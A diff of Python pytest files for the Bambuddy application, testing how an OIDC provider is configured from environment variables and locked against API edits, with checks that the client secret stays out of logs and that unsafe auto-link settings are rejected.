+@pytest.fixture(autouse=True)
+def clean_env(monkeypatch):
+    for key in ALL_VARS:
+        monkeypatch.delenv(key, raising=False)
+
+
+def _configure(monkeypatch, **overrides):
+    for key, value in REQUIRED.items():
+        monkeypatch.setenv(key, value)
+    for key, value in overrides.items():
+        monkeypatch.setenv(key, value)
+
+
+async def _env_provider(db_session) -> OIDCProvider | None:
+    result = await db_session.execute(select(OIDCProvider).where(OIDCProvider.is_env_managed.is_(True)))
+    return result.scalar_one_or_none()
+
+
+@pytest.mark.asyncio
+async def test_creates_the_provider_from_env(db_session, monkeypatch):
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider is not None
+    assert provider.name == "Keycloak"
+    assert provider.client_id == "bambuddy"
+    assert provider.is_env_managed is True
+    assert provider.client_secret == "s3cr3t"  # property decrypts
+
+
+@pytest.mark.asyncio
+async def test_a_changed_var_updates_the_same_row(db_session, monkeypatch):
+    """The id must survive: user_oidc_links references it with ON DELETE
+    CASCADE, so a delete-recreate would unlink every bound account."""
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    original_id = (await _env_provider(db_session)).id
+
+    monkeypatch.setenv("BAMBUDDY_OIDC_CLIENT_ID", "rotated")
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider.id == original_id
+    assert provider.client_id == "rotated"
+
+
+@pytest.mark.asyncio
+async def test_removing_the_env_config_disables_but_keeps_the_row(db_session, monkeypatch):
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    original_id = (await _env_provider(db_session)).id
+
+    for key in ALL_VARS:
+        monkeypatch.delenv(key, raising=False)
+    await apply_env_oidc_provider(db_session)
+
+    # Looked up by name, not by the flag: releasing the provider clears the flag,
+    # and the point of this test is that the ROW survives either way.
+    result = await db_session.execute(select(OIDCProvider).where(OIDCProvider.name == "Keycloak"))
+    provider = result.scalar_one_or_none()
+    assert provider is not None, "deleting would cascade away every account link"
+    assert provider.id == original_id
+    assert provider.is_enabled is False
+
+
+@pytest.mark.asyncio
+async def test_env_autologin_clears_it_on_other_providers(db_session, monkeypatch):
+    """Only one provider may be the autologin target; the env one wins."""
+    ui_provider = OIDCProvider(
+        name="UI provider",
+        issuer_url="https://other.example.com",
+        client_id="ui",
+        is_autologin=True,
+    )
+    ui_provider.client_secret = "ui-secret"
+    db_session.add(ui_provider)
+    await db_session.commit()
+
+    _configure(monkeypatch, BAMBUDDY_OIDC_AUTOLOGIN="true")
+    await apply_env_oidc_provider(db_session)
+
+    await db_session.refresh(ui_provider)
+    assert (await _env_provider(db_session)).is_autologin is True
+    assert ui_provider.is_autologin is False
+
+
+@pytest.mark.asyncio
+async def test_a_ui_provider_is_otherwise_left_alone(db_session, monkeypatch):
+    ui_provider = OIDCProvider(name="UI provider", issuer_url="https://other.example.com", client_id="ui")
+    ui_provider.client_secret = "ui-secret"
+    db_session.add(ui_provider)
+    await db_session.commit()
+
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+
+    await db_session.refresh(ui_provider)
+    assert ui_provider.is_env_managed is False
+    assert ui_provider.is_enabled is True
+    assert ui_provider.client_id == "ui"
+
+
+@pytest.mark.asyncio
+async def test_an_unsafe_auto_link_config_is_skipped_not_raised(db_session, monkeypatch):
+    """auto-link + unverified email is the SEC-1 account-takeover shape. The
+    schema rejects it for the UI, and env config must not be a way around that
+    -- but a bad variable must not stop the app from booting either."""
+    _configure(
+        monkeypatch,
+        BAMBUDDY_OIDC_AUTO_LINK_EXISTING="true",
+        BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED="false",
+    )
+
+    await apply_env_oidc_provider(db_session)
+
+    assert await _env_provider(db_session) is None
+
+
+@pytest.mark.asyncio
+async def test_a_rejected_config_never_logs_the_client_secret(db_session, monkeypatch, caplog):
+    """client_secret has max_length=512, so an over-long value raises
+    string_too_long. The rejection must be logged without the value: str(exc)
+    embeds input_value=..., which would leak the secret (no-secrets-in-logs)."""
+    secret = "S3CR3T" * 100  # > 512 chars -> ValidationError on client_secret
+    _configure(monkeypatch, BAMBUDDY_OIDC_CLIENT_SECRET=secret)
+
+    with caplog.at_level(logging.ERROR):
+        await apply_env_oidc_provider(db_session)
+
+    assert await _env_provider(db_session) is None  # rejected, not booted-through
+    assert "rejected" in caplog.text  # the rejection was actually logged
+    assert secret not in caplog.text
+    assert "S3CR3T" not in caplog.text  # not even a fragment of the value
+
+
+# --- an unrecognized boolean is rejected, not guessed --------------------------
+# `_env_bool` used to return the default for anything outside {true,1,yes}, so
+# BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED=on silently read as OFF and
+# BAMBUDDY_OIDC_ENABLED=on silently disabled the provider. Strict parsing
+# refuses the config instead -- through the same clean path a bad
+# DEFAULT_GROUP or a ValidationError already uses, so a typo never releases a
+# provider that was running fine.
+
+
+@pytest.mark.asyncio
+async def test_an_unrecognized_require_email_verified_leaves_a_running_provider_intact(db_session, monkeypatch, caplog):
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    original = await _env_provider(db_session)
+    original_id, original_enabled = original.id, original.is_enabled
+
+    monkeypatch.setenv("BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED", "on")
+    with caplog.at_level(logging.ERROR):
+        await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider is not None, "a typo must not release the provider"
+    assert provider.id == original_id
+    assert provider.is_enabled == original_enabled
+    assert provider.is_env_managed is True
+    assert "rejected" in caplog.text
+    assert "BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED" in caplog.text
+
+
+@pytest.mark.asyncio
+async def test_an_unrecognized_enabled_leaves_a_running_provider_intact(db_session, monkeypatch, caplog):
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    original = await _env_provider(db_session)
+    original_id, original_enabled = original.id, original.is_enabled
+
+    monkeypatch.setenv("BAMBUDDY_OIDC_ENABLED", "on")
+    with caplog.at_level(logging.ERROR):
+        await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider is not None, "a typo must not release the provider"
+    assert provider.id == original_id
+    assert provider.is_enabled == original_enabled
+    assert provider.is_env_managed is True
+    assert "rejected" in caplog.text
+    assert "BAMBUDDY_OIDC_ENABLED" in caplog.text
+
+
+@pytest.mark.asyncio
+async def test_a_non_validation_error_is_survivable_and_leaks_nothing(db_session, monkeypatch, caplog):
+    """The generic except branch handles anything that isn't a ValidationError
+    (e.g. a library call raising mid-construction). It must not stop boot and,
+    since such a message could carry a configured value, must log only the
+    exception class -- never str(exc)."""
+    # oidc_env imports OIDCProviderCreate inside the function (to avoid an
+    # import cycle), so patch it at its source module, not on oidc_env.
+    import backend.app.schemas.auth as auth_schemas
+
+    def _raise(**_kwargs):
+        raise RuntimeError("boom leaked-secret")
+
+    monkeypatch.setattr(auth_schemas, "OIDCProviderCreate", _raise)
+    _configure(monkeypatch, BAMBUDDY_OIDC_CLIENT_SECRET="leaked-secret")
+
+    with caplog.at_level(logging.ERROR):
+        await apply_env_oidc_provider(db_session)  # must not raise
+
+    assert await _env_provider(db_session) is None
+    assert "could not be applied" in caplog.text
+    assert "RuntimeError" in caplog.text  # class is logged...
+    assert "leaked-secret" not in caplog.text  # ...but nothing from the message
+
+
+@pytest.mark.asyncio
+async def test_a_commit_failure_is_survivable_and_leaks_nothing(db_session, monkeypatch, caplog):
+    """The upsert's db.execute/db.commit calls sit outside the inner
+    ValidationError guard -- a Postgres blip or a SQLite WAL lock at startup
+    must not propagate out of the lifespan either. Only the exception class
+    may be logged, never str(exc), since a DB error message can echo a
+    configured value."""
+
+    async def _raise_on_commit():
+        raise RuntimeError("database is locked")
+
+    monkeypatch.setattr(db_session, "commit", _raise_on_commit)
+    _configure(monkeypatch, BAMBUDDY_OIDC_CLIENT_SECRET="leaked-secret")
+
+    with caplog.at_level(logging.ERROR):
+        await apply_env_oidc_provider(db_session)  # must not raise
+
+    assert "could not be applied" in caplog.text
+    assert "RuntimeError" in caplog.text  # class is logged...
+    assert "leaked-secret" not in caplog.text  # ...but nothing from the message
+
+
+@pytest.mark.asyncio
+async def test_a_failing_rollback_is_also_survivable(db_session, monkeypatch, caplog):
+    """The handler rolls back after a failed commit -- but rollback on a wedged
+    connection can raise too, and 'never raises' has to hold for that as well
+    or the boot dies on the recovery path. The rollback is suppressed."""
+
+    async def _raise_on_commit():
+        raise RuntimeError("database is locked")
+
+    async def _raise_on_rollback():
+        raise RuntimeError("connection is closed")
+
+    monkeypatch.setattr(db_session, "commit", _raise_on_commit)
+    monkeypatch.setattr(db_session, "rollback", _raise_on_rollback)
+    _configure(monkeypatch, BAMBUDDY_OIDC_CLIENT_SECRET="leaked-secret")
+
+    with caplog.at_level(logging.ERROR):
+        await apply_env_oidc_provider(db_session)  # must not raise, even here
+
+    assert "could not be applied" in caplog.text
+    assert "leaked-secret" not in caplog.text
+
+
+@pytest.mark.asyncio
+async def test_applying_twice_without_changes_is_a_no_op(db_session, monkeypatch):
+    """Every boot re-applies; the second run must not create a second row."""
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    await apply_env_oidc_provider(db_session)
+
+    result = await db_session.execute(select(OIDCProvider).where(OIDCProvider.is_env_managed.is_(True)))
+    assert len(result.scalars().all()) == 1
+
+
+# --- identity is the name, not the flag ---------------------------------------
+# The provider is looked up by BAMBUDDY_OIDC_NAME, which is unique on the table.
+# Matching on is_env_managed instead made three things impossible: adopting a
+# provider that already carries the name (the insert hit the unique constraint
+# and took startup down with it), releasing the provider when the config goes
+# away, and finding it again afterwards.
+
+
+@pytest.mark.asyncio
+async def test_a_name_collision_adopts_the_existing_provider(db_session, monkeypatch):
+    """An operator who names the env provider after one they created in the UI
+    must not end up with an app that refuses to boot."""
+    ui_provider = OIDCProvider(name="Keycloak", issuer_url="https://old.example.com", client_id="ui-client")
+    ui_provider.client_secret = "ui-secret"
+    db_session.add(ui_provider)
+    await db_session.commit()
+    original_id = ui_provider.id
+
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider is not None
+    assert provider.id == original_id, "adopted, not duplicated"
+    assert provider.client_id == "bambuddy"
+
+    result = await db_session.execute(select(OIDCProvider).where(OIDCProvider.name == "Keycloak"))
+    assert len(result.scalars().all()) == 1
+
+
+@pytest.mark.asyncio
+async def test_adopting_a_ui_provider_logs_a_distinct_warning(db_session, monkeypatch, caplog):
+    """Overwriting a UI-created provider in place is a bigger deal than a
+    routine re-apply -- it must not be silent at the same INFO level."""
+    ui_provider = OIDCProvider(name="Keycloak", issuer_url="https://old.example.com", client_id="ui-client")
+    ui_provider.client_secret = "ui-secret"
+    db_session.add(ui_provider)
+    await db_session.commit()
+
+    _configure(monkeypatch)
+    with caplog.at_level(logging.INFO):
+        await apply_env_oidc_provider(db_session)
+
+    warnings = [r for r in caplog.records if r.levelname == "WARNING"]
+    assert any("adopted" in r.message for r in warnings)
+
+
+@pytest.mark.asyncio
+async def test_a_routine_reapply_does_not_log_an_adoption_warning(db_session, monkeypatch, caplog):
+    """The same provider re-applying on the next boot is not an adoption --
+    it was already env-managed."""
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    caplog.clear()
+
+    with caplog.at_level(logging.INFO):
+        await apply_env_oidc_provider(db_session)
+
+    warnings = [r for r in caplog.records if r.levelname == "WARNING"]
+    assert not any("adopted" in r.message for r in warnings)
+
+
+@pytest.mark.asyncio
+async def test_removing_the_config_releases_the_provider_to_the_ui(db_session, monkeypatch):
+    """Nothing manages it any more, so the API must stop refusing edits and
+    deletes -- otherwise the row is a dead end only reachable via the database."""
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+
+    for key in ALL_VARS:
+        monkeypatch.delenv(key, raising=False)
+    await apply_env_oidc_provider(db_session)
+
+    result = await db_session.execute(select(OIDCProvider).where(OIDCProvider.name == "Keycloak"))
+    provider = result.scalar_one()
+    assert provider.is_enabled is False
+    assert provider.is_env_managed is False
+
+
+@pytest.mark.asyncio
+async def test_restoring_the_config_finds_the_same_row_again(db_session, monkeypatch):
+    """The account links hang off this row; a second provider would orphan them."""
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    original_id = (await _env_provider(db_session)).id
+
+    for key in ALL_VARS:
+        monkeypatch.delenv(key, raising=False)
+    await apply_env_oidc_provider(db_session)
+
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider.id == original_id
+    assert provider.is_enabled is True
+
+
+@pytest.mark.asyncio
+async def test_the_issuer_and_client_can_change_under_the_same_name(db_session, monkeypatch):
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    original_id = (await _env_provider(db_session)).id
+
+    monkeypatch.setenv("BAMBUDDY_OIDC_ISSUER_URL", "https://sso.example.com/realms/other")
+    monkeypatch.setenv("BAMBUDDY_OIDC_CLIENT_ID", "rotated")
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider.id == original_id
+    assert provider.issuer_url == "https://sso.example.com/realms/other"
+    assert provider.client_id == "rotated"
+
+
+# --- a rename must not leave the old row managed -------------------------------
+# Identity is the name, so renaming BAMBUDDY_OIDC_NAME matches nothing and
+# creates a second row. Leaving the flag on the first one is what makes that
+# fatal: it stays enabled with a stale issuer and secret on the login page, the
+# API refuses every edit/disable/delete on it (409), and the release path's
+# scalar_one_or_none() then raises MultipleResultsFound out of the lifespan --
+# the app stops booting. Both states are reachable by ordinary config edits.
+
+
+async def _env_managed(db_session) -> list[OIDCProvider]:
+    result = await db_session.execute(select(OIDCProvider).where(OIDCProvider.is_env_managed.is_(True)))
+    return list(result.scalars().all())
+
+
+@pytest.mark.asyncio
+async def test_renaming_the_provider_releases_the_row_it_managed_before(db_session, monkeypatch):
+    _configure(monkeypatch, BAMBUDDY_OIDC_AUTOLOGIN="true")
+    await apply_env_oidc_provider(db_session)
+    old_id = (await _env_provider(db_session)).id
+
+    monkeypatch.setenv("BAMBUDDY_OIDC_NAME", "Authentik")
+    await apply_env_oidc_provider(db_session)
+
+    managed = await _env_managed(db_session)
+    assert [p.name for p in managed] == ["Authentik"], "exactly one row may carry the flag"
+
+    old = (await db_session.execute(select(OIDCProvider).where(OIDCProvider.id == old_id))).scalar_one()
+    # Released, not deleted -- user_oidc_links.provider_id cascades.
+    assert old.is_env_managed is False
+    assert old.is_enabled is False, "a stale issuer must not stay on the login page"
+    assert old.is_autologin is False
+
+
+@pytest.mark.asyncio
+async def test_boot_survives_removing_the_config_after_a_rename(db_session, monkeypatch):
+    """The MultipleResultsFound path: rename, then unset. Must not raise."""
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    monkeypatch.setenv("BAMBUDDY_OIDC_NAME", "Authentik")
+    await apply_env_oidc_provider(db_session)
+
+    for key in ALL_VARS:
+        monkeypatch.delenv(key, raising=False)
+    await apply_env_oidc_provider(db_session)  # must not raise
+
+    assert await _env_managed(db_session) == []
+    names = (await db_session.execute(select(OIDCProvider.name))).scalars().all()
+    assert sorted(names) == ["Authentik", "Keycloak"], "both rows survive, both released"
+
+
+@pytest.mark.asyncio
+async def test_every_managed_row_is_released_not_just_one(db_session, monkeypatch):
+    """The upsert's sweep should keep this at one row. Should is not enforced by
+    the schema, and the cost of being wrong is the whole release path raising
+    MultipleResultsFound out of the lifespan -- so it releases what it finds."""
+    for name in ("Keycloak", "Authentik"):
+        stale = OIDCProvider(
+            name=name,
+            issuer_url="https://sso.example.com/realms/main",
+            client_id="bambuddy",
+            is_env_managed=True,
+        )
+        stale.client_secret = "s3cr3t"
+        db_session.add(stale)
+    await db_session.commit()
+
+    await apply_env_oidc_provider(db_session)  # no vars set -> release path
+
+    assert await _env_managed(db_session) == []
+
+
+@pytest.mark.asyncio
+async def test_releasing_the_provider_clears_autologin(db_session, monkeypatch):
+    """is_enabled and is_env_managed alone leave a UI-editable row carrying a
+    latent autologin claim: update_oidc_provider only runs the exclusivity
+    sweep when a request sets is_autologin=True, so merely re-enabling this row
+    makes it the autologin target again."""
+    _configure(monkeypatch, BAMBUDDY_OIDC_AUTOLOGIN="true")
+    await apply_env_oidc_provider(db_session)
+    assert (await _env_provider(db_session)).is_autologin is True
+
+    for key in ALL_VARS:
+        monkeypatch.delenv(key, raising=False)
+    await apply_env_oidc_provider(db_session)
+
+    released = (await db_session.execute(select(OIDCProvider).where(OIDCProvider.name == "Keycloak"))).scalar_one()
+    assert released.is_autologin is False
+
+
+# --- default group by name -----------------------------------------------------
+# Group ids are not stable across installs, so a declarative deployment cannot
+# name one by id. Without this, every auto-created user falls back to Viewers
+# (routes/mfa.py) and the env lock means the UI cannot correct the provider.
+
+
+async def _group(db_session, name: str):
+    from backend.app.models.group import Group
+
+    group = Group(name=name, description=f"Test group {name}")
+    db_session.add(group)
+    await db_session.commit()
+    return group
+
+
+@pytest.mark.asyncio
+async def test_the_default_group_is_resolved_by_name(db_session, monkeypatch):
+    group = await _group(db_session, "Operators")
+    _configure(monkeypatch, BAMBUDDY_OIDC_DEFAULT_GROUP="Operators")
+
+    await apply_env_oidc_provider(db_session)
+
+    assert (await _env_provider(db_session)).default_group_id == group.id
+
+
+@pytest.mark.asyncio
+async def test_an_unknown_group_name_is_rejected_rather_than_defaulted(db_session, monkeypatch, caplog):
+    """Silently falling back to Viewers is how a typo mints under-privileged
+    users for weeks. The API answers 400 for a default_group_id that does not
+    exist; env config gets the same answer, logged and survivable."""
+    _configure(monkeypatch, BAMBUDDY_OIDC_DEFAULT_GROUP="Nope")
+
+    with caplog.at_level(logging.ERROR):
+        await apply_env_oidc_provider(db_session)
+
+    assert await _env_provider(db_session) is None
+    assert "BAMBUDDY_OIDC_DEFAULT_GROUP" in caplog.text
+    assert "Nope" in caplog.text
+
+
+@pytest.mark.asyncio
+async def test_an_unknown_group_name_leaves_the_previous_provider_intact(db_session, monkeypatch):
+    """Rejection happens before the upsert, so the running config survives a
+    bad edit -- the provider keeps working until the operator fixes the name."""
+    group = await _group(db_session, "Operators")
+    _configure(monkeypatch, BAMBUDDY_OIDC_DEFAULT_GROUP="Operators")
+    await apply_env_oidc_provider(db_session)
+
+    monkeypatch.setenv("BAMBUDDY_OIDC_DEFAULT_GROUP", "Typo")
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider is not None
+    assert provider.default_group_id == group.id
+
+
+@pytest.mark.asyncio
+async def test_no_group_variable_leaves_the_default_group_unset(db_session, monkeypatch):
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+
+    assert (await _env_provider(db_session)).default_group_id is None
+
+
+@pytest.mark.asyncio
+async def test_removing_the_group_variable_clears_the_default_group(db_session, monkeypatch):
+    """The environment is the whole truth for this row; a group that is no
+    longer declared must not linger, since the lock blocks removing it in the UI."""
+    await _group(db_session, "Operators")
+    _configure(monkeypatch, BAMBUDDY_OIDC_DEFAULT_GROUP="Operators")
+    await apply_env_oidc_provider(db_session)
+
+    monkeypatch.delenv("BAMBUDDY_OIDC_DEFAULT_GROUP")
+    await apply_env_oidc_provider(db_session)
+
+    assert (await _env_provider(db_session)).default_group_id is None
+
+
+@pytest.mark.asyncio
+async def test_an_empty_group_variable_counts_as_unset(db_session, monkeypatch):
+    """Same rule the required vars follow: an empty value in a compose file is
+    a forgotten value, not a request to reject the config."""
+    _configure(monkeypatch, BAMBUDDY_OIDC_DEFAULT_GROUP="")
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider is not None
+    assert provider.default_group_id is None
+
+
+# --- blank optional strings count as unset, not a refusal ---------------------
+# `.env.example` ships `# BAMBUDDY_OIDC_ICON_URL=` commented out, so uncommenting
+# it must not take the provider down -- same rule default_group already follows.
+
+
+@pytest.mark.asyncio
+async def test_a_blank_scopes_still_creates_the_provider(db_session, monkeypatch):
+    _configure(monkeypatch, BAMBUDDY_OIDC_SCOPES="")
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider is not None, "a blank optional var must not refuse the whole provider"
+    assert provider.scopes == "openid email profile"
+
+
+@pytest.mark.asyncio
+async def test_a_blank_email_claim_still_creates_the_provider(db_session, monkeypatch):
+    _configure(monkeypatch, BAMBUDDY_OIDC_EMAIL_CLAIM="")
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider is not None, "a blank optional var must not refuse the whole provider"
+    assert provider.email_claim == "email"
+
+
+@pytest.mark.asyncio
+async def test_a_blank_icon_url_still_creates_the_provider(db_session, monkeypatch):
+    _configure(monkeypatch, BAMBUDDY_OIDC_ICON_URL="")
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider is not None, "a blank optional var must not refuse the whole provider"
+    assert provider.icon_url is None
+
+
+# --- account links and collision behavior ------------------------------------
+
+
+@pytest.mark.asyncio
+async def test_renaming_to_match_a_ui_provider_adopts_it_and_releases_the_old_row(db_session, monkeypatch):
+    """New name collides with existing UI provider: env config adopts that row,
+    old env-managed row is released. Identity is the name, so the collision is
+    resolved by matching the new name against the table."""
+    # Start with env-managed "Keycloak"
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    old_id = (await _env_provider(db_session)).id
+
+    # Add a UI provider named "Authentik"
+    ui_provider = OIDCProvider(name="Authentik", issuer_url="https://auth.example.com", client_id="ui-client")
+    ui_provider.client_secret = "ui-secret"
+    db_session.add(ui_provider)
+    await db_session.commit()
+    ui_id = ui_provider.id
+
+    # Rename env provider to "Authentik" — matches the UI provider
+    monkeypatch.setenv("BAMBUDDY_OIDC_NAME", "Authentik")
+    await apply_env_oidc_provider(db_session)
+
+    # The UI provider is adopted and becomes env-managed
+    provider = await _env_provider(db_session)
+    assert provider.id == ui_id, "adopted the UI provider"
+    assert provider.name == "Authentik"
+    assert provider.client_id == "bambuddy"  # updated from env
+    assert provider.is_env_managed is True
+
+    # The old Keycloak row is released
+    old = (await db_session.execute(select(OIDCProvider).where(OIDCProvider.id == old_id))).scalar_one()
+    assert old.name == "Keycloak"
+    assert old.is_env_managed is False
+    assert old.is_enabled is False
+
+
+@pytest.mark.asyncio
+async def test_account_links_survive_a_provider_rename(db_session, monkeypatch):
+    """The provider row is never deleted, only updated: user_oidc_links FK
+    ON DELETE CASCADE must not be triggered by a rename."""
+    from backend.app.models.oidc_provider import UserOIDCLink
+    from backend.app.models.user import User
+
+    # Create a user and link it to the env-managed provider
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    provider_id = (await _env_provider(db_session)).id
+
+    user = User(username="testuser", email="test@example.com")
+    db_session.add(user)
+    await db_session.flush()
+
+    link = UserOIDCLink(
+        user_id=user.id,
+        provider_id=provider_id,
+        provider_user_id="oidc-sub-12345",
+        provider_email="test@idp.example.com",
+    )
+    db_session.add(link)
+    await db_session.commit()
+
+    # Rename the env provider
+    monkeypatch.setenv("BAMBUDDY_OIDC_NAME", "Authentik")
+    await apply_env_oidc_provider(db_session)
+
+    # The link still exists, pointing to the old row (which is now released)
+    result = await db_session.execute(select(UserOIDCLink).where(UserOIDCLink.provider_id == provider_id))
+    links = result.scalars().all()
+    assert len(links) == 1
+    assert links[0].provider_user_id == "oidc-sub-12345"
+
+
+@pytest.mark.asyncio
+async def test_renaming_with_autologin_updates_the_exclusivity_sweep(db_session, monkeypatch):
+    """When renamed env config has autologin=true, the sweep clears autologin
+    from other rows. The old row is released (autologin cleared there too)."""
+    # Setup: env provider "Keycloak" with autologin
+    _configure(monkeypatch, BAMBUDDY_OIDC_AUTOLOGIN="true")
+    await apply_env_oidc_provider(db_session)
+    old_id = (await _env_provider(db_session)).id
+    assert (await _env_provider(db_session)).is_autologin is True
+
+    # Another UI provider also has autologin
+    ui_provider = OIDCProvider(name="UI", issuer_url="https://ui.example.com", client_id="ui")
+    ui_provider.client_secret = "secret"
+    ui_provider.is_autologin = True
+    db_session.add(ui_provider)
+    await db_session.commit()
+
+    # Rename env provider to "Authentik" with autologin=true
+    monkeypatch.setenv("BAMBUDDY_OIDC_NAME", "Authentik")
+    await apply_env_oidc_provider(db_session)
+
+    # New row is the autologin target
+    new_provider = await _env_provider(db_session)
+    assert new_provider.name == "Authentik"
+    assert new_provider.is_autologin is True
+
+    # Old row is released and autologin cleared
+    old = (await db_session.execute(select(OIDCProvider).where(OIDCProvider.id == old_id))).scalar_one()
+    assert old.is_env_managed is False
+    assert old.is_autologin is False
+
+    # UI provider autologin is cleared (only env-managed can be autologin now)
+    await db_session.refresh(ui_provider)
+    assert ui_provider.is_autologin is False
+
+
+@pytest.mark.asyncio
+async def test_group_name_matching_is_case_sensitive(db_session, monkeypatch, caplog):
+    """Group name is resolved by exact match; 'operators' != 'Operators'."""
+    await _group(db_session, "Operators")  # capital O
+    _configure(monkeypatch, BAMBUDDY_OIDC_DEFAULT_GROUP="operators")  # lowercase
+
+    with caplog.at_level(logging.ERROR):
+        await apply_env_oidc_provider(db_session)
+
+    # Config is rejected
+    assert await _env_provider(db_session) is None
+    assert "operators" in caplog.text
+    assert "BAMBUDDY_OIDC_DEFAULT_GROUP" in caplog.text
+
+
+@pytest.mark.asyncio
+async def test_group_name_rejection_does_not_log_the_secret(db_session, monkeypatch, caplog):
+    """Group resolution happens before schema validation, so the secret is
+    not yet in scope, but verify it's not leaked by the error path."""
+    _configure(monkeypatch, BAMBUDDY_OIDC_DEFAULT_GROUP="NonExistent")
+    secret = os.environ["BAMBUDDY_OIDC_CLIENT_SECRET"]
+
+    with caplog.at_level(logging.ERROR):
+        await apply_env_oidc_provider(db_session)
+
+    # Config is rejected but secret is safe
+    assert await _env_provider(db_session) is None
+    assert secret not in caplog.text
+
+
+@pytest.mark.asyncio
+async def test_restoring_env_config_after_rename_then_unset_finds_the_original_row(db_session, monkeypatch):
+    """Rename Keycloak → Authentik, unset everything, restore Keycloak.
+    Must re-enable the original row, not create a new one."""
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    original_id = (await _env_provider(db_session)).id
+
+    # Rename to Authentik
+    monkeypatch.setenv("BAMBUDDY_OIDC_NAME", "Authentik")
+    await apply_env_oidc_provider(db_session)
+    assert (await _env_provider(db_session)).name == "Authentik"
+
+    # Unset everything
+    for key in ALL_VARS:
+        monkeypatch.delenv(key, raising=False)
+    await apply_env_oidc_provider(db_session)
+
+    # Restore the original Keycloak config
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+
+    # Same row, re-enabled
+    provider = await _env_provider(db_session)
+    assert provider.id == original_id
+    assert provider.name == "Keycloak"
+    assert provider.is_enabled is True
+    assert provider.is_env_managed is True

+ 137 - 0
backend/tests/integration/test_oidc_env_lock.py

@@ -0,0 +1,137 @@
+"""The env-managed provider is read-only through the API (#2593).
+
+Startup rewrites this row from BAMBUDDY_OIDC_* on every boot, so a UI edit
+would silently disappear at the next restart -- the operator would see their
+change accepted and then reverted, with nothing explaining why. Refusing the
+write is the honest answer.
+
+Locking it out is safe because BAMBUDDY_LOCAL_LOGIN (#1589) is the documented
+recovery path if the provider itself becomes unusable.
+"""
+
+from __future__ import annotations
+
+import pytest
+from httpx import AsyncClient
+
+from backend.app.models.oidc_provider import OIDCProvider
+from backend.tests.integration.test_mfa_api import _auth_header, _setup_and_login
+
+
+async def _env_managed_provider(db_session) -> int:
+    provider = OIDCProvider(
+        name="Env Keycloak",
+        issuer_url="https://sso.example.com/realms/main",
+        client_id="bambuddy",
+        icon_url="https://sso.example.com/logo.png",
+        is_env_managed=True,
+    )
+    provider.client_secret = "s3cr3t"
+    db_session.add(provider)
+    await db_session.commit()
+    await db_session.refresh(provider)
+    return provider.id
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+async def test_put_is_refused(async_client: AsyncClient, db_session):
+    provider_id = await _env_managed_provider(db_session)
+    token = await _setup_and_login(async_client, "envlockput", "envlockput123")
+
+    response = await async_client.put(
+        f"/api/v1/auth/oidc/providers/{provider_id}",
+        json={"name": "hijacked"},
+        headers=_auth_header(token),
+    )
+
+    assert response.status_code == 409
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+async def test_delete_is_refused(async_client: AsyncClient, db_session):
+    provider_id = await _env_managed_provider(db_session)
+    token = await _setup_and_login(async_client, "envlockdel", "envlockdel123")
+
+    response = await async_client.delete(
+        f"/api/v1/auth/oidc/providers/{provider_id}",
+        headers=_auth_header(token),
+    )
+
+    assert response.status_code == 409
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+async def test_icon_delete_is_refused(async_client: AsyncClient, db_session):
+    """The icon is part of the env config too -- BAMBUDDY_OIDC_ICON_URL."""
+    provider_id = await _env_managed_provider(db_session)
+    token = await _setup_and_login(async_client, "envlockicondel", "envlockicondel123")
+
+    response = await async_client.delete(
+        f"/api/v1/auth/oidc/providers/{provider_id}/icon",
+        headers=_auth_header(token),
+    )
+
+    assert response.status_code == 409
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+async def test_icon_refresh_is_refused(async_client: AsyncClient, db_session):
+    provider_id = await _env_managed_provider(db_session)
+    token = await _setup_and_login(async_client, "envlockiconref", "envlockiconref123")
+
+    response = await async_client.post(
+        f"/api/v1/auth/oidc/providers/{provider_id}/icon/refresh",
+        headers=_auth_header(token),
+    )
+
+    assert response.status_code == 409
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+async def test_a_ui_provider_is_still_editable(async_client: AsyncClient):
+    """The lock must not leak onto providers the operator created themselves --
+    they coexist with the env one and stay fully editable."""
+    token = await _setup_and_login(async_client, "envlockui", "envlockui123")
